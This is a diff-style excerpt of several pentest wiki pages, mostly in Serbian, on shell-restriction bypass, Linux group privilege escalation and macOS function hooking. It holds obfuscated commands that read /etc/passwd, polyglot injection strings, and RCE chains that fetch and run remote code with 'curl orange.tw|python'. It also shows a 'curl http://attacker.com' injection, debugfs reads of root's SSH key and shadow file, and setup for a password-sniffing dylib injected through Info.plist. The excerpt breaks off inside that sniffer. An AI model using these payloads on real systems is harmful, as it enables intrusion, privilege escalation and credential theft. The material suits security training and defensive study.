bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Zaobilaženje sa heksadecimalnim kodiranjem
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
||||
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||
cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Zaobilaženje IP adresa
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Ekstrakcija podataka zasnovana na vremenu
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Dobijanje karaktera iz Env promenljivih
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS data exfiltration
|
||||
|
||||
Možete koristiti **burpcollab** ili [**pingb**](http://pingb.in) na primer.
|
||||
|
||||
### Builtins
|
||||
|
||||
U slučaju da ne možete izvršiti spoljne funkcije i imate pristup samo **ograničenom skupu builtins za dobijanje RCE**, postoje neki korisni trikovi za to. Obično **nećete moći da koristite sve** **builtins**, pa bi trebalo da **znate sve svoje opcije** da pokušate da zaobiđete zatvor. Ideja od [**devploit**](https://twitter.com/devploit).\
|
||||
Prvo proverite sve [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Zatim ovde imate neke **preporuke**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
||||
# In these cases PATH won't be set, so you can try to set it
|
||||
PATH="/bin" /bin/ls
|
||||
export PATH="/bin"
|
||||
declare PATH="/bin"
|
||||
SHELL=/bin/bash
|
||||
|
||||
# Hex
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||
|
||||
# Input
|
||||
read aaa; exec $aaa #Read more commands to execute and execute them
|
||||
read aaa; eval $aaa
|
||||
|
||||
# Get "/" char using printf and env vars
|
||||
printf %.1s "$PWD"
|
||||
## Execute /bin/ls
|
||||
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
||||
## To get several letters you can use a combination of printf and
|
||||
declare
|
||||
declare functions
|
||||
declare historywords
|
||||
|
||||
# Read flag in current dir
|
||||
source f*
|
||||
flag.txt:1: command not found: CTF{asdasdasd}
|
||||
|
||||
# Read file with read
|
||||
while read -r line; do echo $line; done < /etc/passwd
|
||||
|
||||
# Get env variables
|
||||
declare
|
||||
|
||||
# Get history
|
||||
history
|
||||
declare history
|
||||
declare historywords
|
||||
|
||||
# Disable special builtins chars so you can abuse them as scripts
|
||||
[ #[: ']' expected
|
||||
## Disable "[" as builtin and enable it as script
|
||||
enable -n [
|
||||
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
|
||||
chmod +x [
|
||||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Polyglot command injection
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Zaobilaženje potencijalnih regex-a
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
```
|
||||
### RCE sa 5 karaktera
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
||||
http://host/?cmd=>ls\
|
||||
http://host/?cmd=ls>_
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>-t\
|
||||
http://host/?cmd=>\>g
|
||||
http://host/?cmd=ls>>_
|
||||
|
||||
## Step2: generate `curl orange.tw|python` to file "g"
|
||||
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
||||
http://host/?cmd=>on
|
||||
http://host/?cmd=>th\
|
||||
http://host/?cmd=>py\
|
||||
http://host/?cmd=>\|\
|
||||
http://host/?cmd=>tw\
|
||||
http://host/?cmd=>e.\
|
||||
http://host/?cmd=>ng\
|
||||
http://host/?cmd=>ra\
|
||||
http://host/?cmd=>o\
|
||||
http://host/?cmd=>\ \
|
||||
http://host/?cmd=>rl\
|
||||
http://host/?cmd=>cu\
|
||||
http://host/?cmd=sh _
|
||||
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
||||
|
||||
## Finally execute the file "g"
|
||||
http://host/?cmd=sh g
|
||||
|
||||
|
||||
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
||||
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||
## Execute tar command over a folder
|
||||
http://52.199.204.34/?cmd=>tar
|
||||
http://52.199.204.34/?cmd=>zcf
|
||||
http://52.199.204.34/?cmd=>zzz
|
||||
http://52.199.204.34/?cmd=*%20/h*
|
||||
|
||||
# Another curiosity if you can read files of the current folder
|
||||
ln /f*
|
||||
## If there is a file /flag.txt that will create a hard link
|
||||
## to it in the current folder
|
||||
```
|
||||
### RCE sa 4 karaktera
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
# and then generate the full command in filenames
|
||||
# generate "g> ht- sl" to file "v"
|
||||
'>dir'
|
||||
'>sl'
|
||||
'>g\>'
|
||||
'>ht-'
|
||||
'*>v'
|
||||
|
||||
# reverse file "v" to file "x", content "ls -th >g"
|
||||
'>rev'
|
||||
'*v>x'
|
||||
|
||||
# generate "curl orange.tw|python;"
|
||||
'>\;\\'
|
||||
'>on\\'
|
||||
'>th\\'
|
||||
'>py\\'
|
||||
'>\|\\'
|
||||
'>tw\\'
|
||||
'>e.\\'
|
||||
'>ng\\'
|
||||
'>ra\\'
|
||||
'>o\\'
|
||||
'>\ \\'
|
||||
'>rl\\'
|
||||
'>cu\\'
|
||||
|
||||
# got shell
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Bypass za samo-čitanje/Noexec/Distroless
|
||||
|
||||
Ako ste unutar datotečnog sistema sa **zaštitama za samo-čitanje i noexec** ili čak u distroless kontejneru, još uvek postoje načini da **izvršite proizvoljne binarne datoteke, čak i shell!:**
|
||||
|
||||
{{#ref}}
|
||||
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
|
||||
{{#endref}}
|
||||
|
||||
## Bypass Chroot & drugih zatvora
|
||||
|
||||
{{#ref}}
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## Reference & Više
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,23 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Dalji primeri oko yum-a mogu se naći na [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
|
||||
|
||||
# Izvršavanje proizvoljnih komandi putem RPM paketa
|
||||
|
||||
## Proveravanje okruženja
|
||||
|
||||
Da bi iskoristio ovaj vektor, korisnik mora biti u mogućnosti da izvršava yum komande kao korisnik sa višim privilegijama, tj. root.
|
||||
|
||||
### Radni primer ovog vektora
|
||||
|
||||
Radni primer ovog eksploata može se naći u [daily bugle](https://tryhackme.com/room/dailybugle) sobi na [tryhackme](https://tryhackme.com).
|
||||
|
||||
## Pakovanje RPM-a
|
||||
|
||||
U sledećem odeljku, pokriću pakovanje reverzibilne ljuske u RPM koristeći [fpm](https://github.com/jordansissel/fpm).
|
||||
|
||||
Primer ispod kreira paket koji uključuje trigger pre instalacije sa proizvoljnim skriptom koji može biti definisan od strane napadača. Kada se instalira, ovaj paket će izvršiti proizvoljnu komandu. Koristio sam jednostavan primer reverzibilne netcat ljuske za demonstraciju, ali ovo se može promeniti po potrebi.
|
||||
```text
|
||||
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,141 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Sudo/Admin Grupe
|
||||
|
||||
## **PE - Metod 1**
|
||||
|
||||
**Ponekad**, **po defaultu \(ili zato što neki softver to zahteva\)** unutar **/etc/sudoers** fajla možete pronaći neke od ovih linija:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
|
||||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
To znači da **bilo koji korisnik koji pripada grupi sudo ili admin može izvršiti bilo šta kao sudo**.
|
||||
|
||||
Ako je to slučaj, da **postanete root, možete jednostavno izvršiti**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
## PE - Metoda 2
|
||||
|
||||
Pronađite sve suid binarne datoteke i proverite da li postoji binarna datoteka **Pkexec**:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Ako otkrijete da je binarni fajl pkexec SUID binarni fajl i da pripadate sudo ili admin grupi, verovatno biste mogli da izvršavate binarne fajlove kao sudo koristeći pkexec.
|
||||
Proverite sadržaj:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Tamo ćete pronaći koje grupe imaju dozvolu da izvrše **pkexec** i **po defaultu** u nekim linux sistemima mogu **pojaviti** neke od grupa **sudo ili admin**.
|
||||
|
||||
Da **postanete root možete izvršiti**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
Ako pokušate da izvršite **pkexec** i dobijete ovu **grešku**:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Nije zato što nemate dozvole, već zato što niste povezani bez GUI-a**. I postoji rešenje za ovaj problem ovde: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Potrebno vam je **2 različite ssh sesije**:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
#Step 5, if correctly authenticate, you will have a root session
|
||||
```
|
||||
|
||||
```bash:session2
|
||||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
#Step 4, you will be asked in this session to authenticate to pkexec
|
||||
```
|
||||
# Wheel Group
|
||||
|
||||
**Ponekad**, **po defaultu** unutar **/etc/sudoers** fajla možete pronaći ovu liniju:
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
To znači da **bilo koji korisnik koji pripada grupi wheel može izvršavati bilo šta kao sudo**.
|
||||
|
||||
Ako je to slučaj, da **postanete root, možete jednostavno izvršiti**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
# Shadow Group
|
||||
|
||||
Korisnici iz **grupe shadow** mogu **čitati** **/etc/shadow** datoteku:
|
||||
```text
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
Тако да, прочитајте датотеку и покушајте да **разбијете неке хешеве**.
|
||||
|
||||
# Диск Група
|
||||
|
||||
Ова привилегија је скоро **еквивалентна root приступу** јер можете приступити свим подацима унутар машине.
|
||||
|
||||
Фајлови: `/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
debugfs /dev/sda1
|
||||
debugfs: cd /root
|
||||
debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Napomena da pomoću debugfs možete takođe **pisati fajlove**. Na primer, da kopirate `/tmp/asd1.txt` u `/tmp/asd2.txt` možete uraditi:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
Međutim, ako pokušate da **pišete datoteke koje su u vlasništvu root-a** \(kao što su `/etc/shadow` ili `/etc/passwd`\) dobićete grešku "**Permission denied**".
|
||||
|
||||
# Video Grupa
|
||||
|
||||
Korišćenjem komande `w` možete saznati **ko je prijavljen na sistem** i prikazaće izlaz kao što je sledeći:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1** znači da je korisnik **yossi fizički prijavljen** na terminalu na mašini.
|
||||
|
||||
**video grupa** ima pristup za pregled izlaza sa ekrana. U suštini, možete posmatrati ekrane. Da biste to uradili, potrebno je da **uhvatite trenutnu sliku na ekranu** u sirovim podacima i dobijete rezoluciju koju ekran koristi. Podaci sa ekrana mogu se sačuvati u `/dev/fb0`, a rezoluciju ovog ekrana možete pronaći na `/sys/class/graphics/fb0/virtual_size`
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
Da biste **otvorili** **sirovu sliku**, možete koristiti **GIMP**, odabrati **`screen.raw`** datoteku i odabrati tip datoteke **Raw image data**:
|
||||
|
||||

|
||||
|
||||
Zatim modifikujte Širinu i Visinu na one koje koristi ekran i proverite različite Tipove slika \(i odaberite onaj koji bolje prikazuje ekran\):
|
||||
|
||||

|
||||
|
||||
# Root Grupa
|
||||
|
||||
Izgleda da po defaultu **članovi root grupe** mogu imati pristup **modifikaciji** nekih **konfiguracionih** datoteka usluga ili nekih **biblioteka** ili **drugih interesantnih stvari** koje bi mogle biti korišćene za eskalaciju privilegija...
|
||||
|
||||
**Proverite koje datoteke članovi root grupe mogu modifikovati**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
# Docker Grupa
|
||||
|
||||
Možete montirati root datotečni sistem host mašine na volumen instance, tako da kada se instanca pokrene, odmah učitava `chroot` u taj volumen. Ovo vam efektivno daje root pristup na mašini.
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
# lxc/lxd Grupa
|
||||
|
||||
[lxc - Eskalacija privilegija](lxd-privilege-escalation.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,338 +0,0 @@
|
||||
# macOS Function Hooking
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Interpozicija funkcija
|
||||
|
||||
Kreirajte **dylib** sa **`__interpose`** sekcijom (ili sekcijom označenom sa **`S_INTERPOSING`**) koja sadrži parove **pokazivača na funkcije** koji se odnose na **originalne** i **zamenske** funkcije.
|
||||
|
||||
Zatim, **ubacite** dylib sa **`DYLD_INSERT_LIBRARIES`** (interpozicija treba da se desi pre nego što se glavna aplikacija učita). Očigledno, [**ograničenja** koja se primenjuju na korišćenje **`DYLD_INSERT_LIBRARIES`** važe i ovde](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
|
||||
|
||||
### Interpozicija printf
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="interpose.c"}}
|
||||
```c:interpose.c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
int my_printf(const char *format, ...) {
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="hello.c"}}
|
||||
```c
|
||||
//gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
printf("Hello World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="interpose2.c"}}
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||||
__attribute__((used)) static struct { \
|
||||
const void* replacement; \
|
||||
const void* replacee; \
|
||||
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||
(const void*) (unsigned long) &_replacement, \
|
||||
(const void*) (unsigned long) &_replacee \
|
||||
};
|
||||
|
||||
int my_printf(const char *format, ...)
|
||||
{
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
DYLD_INTERPOSE(my_printf,printf);
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||
Hello from interpose
|
||||
|
||||
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||
Hello from interpose
|
||||
```
|
||||
## Method Swizzling
|
||||
|
||||
U ObjectiveC, ovako se poziva metoda: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
Potrebni su **objekat**, **metoda** i **parametri**. Kada se metoda pozove, **msg se šalje** koristeći funkciju **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
Objekat je **`someObject`**, metoda je **`@selector(method1p1:p2:)`** i argumenti su **value1**, **value2**.
|
||||
|
||||
Prateći strukture objekata, moguće je doći do **niza metoda** gde su **imena** i **pokazivači** na kod metoda **locirani**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da se metode i klase pristupaju na osnovu njihovih imena, tako da se ove informacije čuvaju u binarnom formatu, pa ih je moguće preuzeti sa `otool -ov </path/bin>` ili [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
|
||||
### Accessing the raw methods
|
||||
|
||||
Moguće je pristupiti informacijama o metodama kao što su ime, broj parametara ili adresa kao u sledećem primeru:
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
int main() {
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Method Swizzling with method_exchangeImplementations
|
||||
|
||||
Funkcija **`method_exchangeImplementations`** omogućava da se **promeni** **adresa** **implementacije** **jedne funkcije za drugu**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tako da kada se funkcija pozove, ono što je **izvršeno je drugo**.
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
|
||||
// Create a new category for NSString with the method to execute
|
||||
@interface NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> U ovom slučaju, ako **implementacioni kod legit** metode **proverava** **ime** **metode**, mogao bi **otkriti** ovo swizzling i sprečiti njegovo izvršavanje.
|
||||
>
|
||||
> Sledeća tehnika nema ovo ograničenje.
|
||||
|
||||
### Method Swizzling with method_setImplementation
|
||||
|
||||
Prethodni format je čudan jer menjate implementaciju 2 metode jednu iz druge. Koristeći funkciju **`method_setImplementation`**, možete **promeniti** **implementaciju** **metode za drugu**.
|
||||
|
||||
Samo zapamtite da **sačuvate adresu implementacije originalne** metode ako planirate da je pozovete iz nove implementacije pre nego što je prepišete, jer će kasnije biti mnogo komplikovanije locirati tu adresu.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
static IMP original_substringFromIndex = NULL;
|
||||
|
||||
@interface NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
```
|
||||
## Hooking Attack Methodology
|
||||
|
||||
Na ovoj stranici su diskutovani različiti načini za hook-ovanje funkcija. Međutim, oni su uključivali **izvršavanje koda unutar procesa za napad**.
|
||||
|
||||
Da bi se to postiglo, najlakša tehnika koja se može koristiti je injekcija [Dyld putem promenljivih okruženja ili otmice](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Međutim, pretpostavljam da se to takođe može uraditi putem [Dylib procesne injekcije](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
|
||||
|
||||
Međutim, obe opcije su **ograničene** na **nezaštićene** binarne/procese. Proverite svaku tehniku da biste saznali više o ograničenjima.
|
||||
|
||||
Međutim, napad putem hook-ovanja funkcija je veoma specifičan, napadač će to uraditi da **ukrade osetljive informacije iz procesa** (inače biste jednostavno uradili napad injekcijom procesa). A te osetljive informacije mogu biti smeštene u aplikacijama preuzetim od strane korisnika, kao što je MacPass.
|
||||
|
||||
Dakle, vektor napadača bi bio da pronađe ranjivost ili ukloni potpis aplikacije, injektuje **`DYLD_INSERT_LIBRARIES`** env promenljivu kroz Info.plist aplikacije dodajući nešto poput:
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
i zatim **ponovo registrujte** aplikaciju:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
Dodajte u tu biblioteku kod za hooking kako biste eksfiltrirali informacije: Lozinke, poruke...
|
||||
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da u novijim verzijama macOS-a, ako **uklonite potpis** aplikacionog binarnog fajla i ako je prethodno bio izvršen, macOS **neće više izvršavati aplikaciju**.
|
||||
|
||||
#### Primer biblioteke
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||
|
||||
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
||||
|
||||
// Listen to the logs with something like:
|
||||
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
// Here will be stored the real method (setPassword in this case) address
|
||||
static IMP real_setPassword = NULL;
|
||||
|
||||
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||||
{
|
||||
